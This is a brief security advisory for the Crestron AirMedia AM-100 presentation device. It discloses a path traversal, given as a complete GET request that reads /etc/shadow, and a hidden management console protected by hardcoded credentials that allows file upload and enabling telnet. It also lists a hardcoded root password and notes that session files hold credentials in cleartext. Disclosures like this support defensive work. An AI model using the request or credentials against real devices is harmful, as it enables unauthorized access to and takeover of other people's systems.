Description:  
The Crestron AirMedia AM-100 with firmware versions v1.1.1.11 - v1.2.1 is vulnerable to multiple issues.  
  
1) Path Traversal  
  
GET request:   
http://[AM-100-ADDRESS]/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../../etc/shadow  
  
2) Hidden Management Console  
  
http://[AM-100-ADDRESS]/cgi-bin/login_rdtool.cgi  
The AM-100 has a hardcoded default credential of rdtool::mistral5885  
This interface contains the ability to upload arbitrary files (RD upload) and can enable a telnet server that runs on port 5885 (RD Debug mode).  
  
3) Hardcoded credentials  
  
The default root password for these devices is root::awind5885  
Valid login sessions for the default (non-debugging) management interface are stored on the filesystem as session01, session02.. etc. Cleartext credentials can be read directly from these files.
